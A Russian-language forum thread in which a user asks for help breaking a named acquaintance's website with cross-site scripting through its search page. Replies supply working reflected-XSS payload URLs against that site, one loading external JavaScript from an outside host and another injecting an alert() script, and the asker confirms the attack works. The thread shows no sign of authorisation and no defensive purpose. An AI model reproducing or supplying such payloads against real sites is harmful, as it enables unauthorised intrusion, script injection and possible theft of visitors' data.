Помогите с Xss

Вот хочу сайт знакомого разлатать на XSS
Там пробовал поиск дрюкать.

http://byte.z52.ru/Search.php

В поиск подставлял

Code:

\"\"<script>alert("")</script>

Смотрел вроде он слова <script> пропустил а вот alert подпортил.

Может кто поможет??? несколько часов убил на него.

Очень надеюсь на помощь. Тут уже интерес появился,нужна помощь(

 

Я не понял вопроса ( Ты хочешь чтобы алерт вылетел ?

 

http://byte.z52.ru/Search.php?dosearch=yes&story=%22%3E%3Cscript+src%3Dhttp%3A%2F%2Flamer-power.jino-net.ru%2Fs%3E+%3C%2Fscript%3E

 

Zhenek пиши например так

 

Code:

http://byte.z52.ru/Search.php?dosearch=yes&story=%22%3E%3Cscript%3Ealert%28%29%3C%2Fscript%3E&title=&user=&from_date_day=&from_date_month=&from_date_year=&to_date_day=&to_date_month=&to_date_year=

 

Блин, ну для кого эта тема?
Зачем новую создавать?

 

Все вышеперечисленное неработает(((
Я уже пробовал закрывать тех,но появляется заного страница и там нет моего кода.. Думаю его вырезели...

 

http://old.antichat.ru/crackchat/HTML/
+
то что написал булка - работает.

 

Спасибо.. Все заработало.. просто у меня картинки были отключены а без них надпись не появляется)))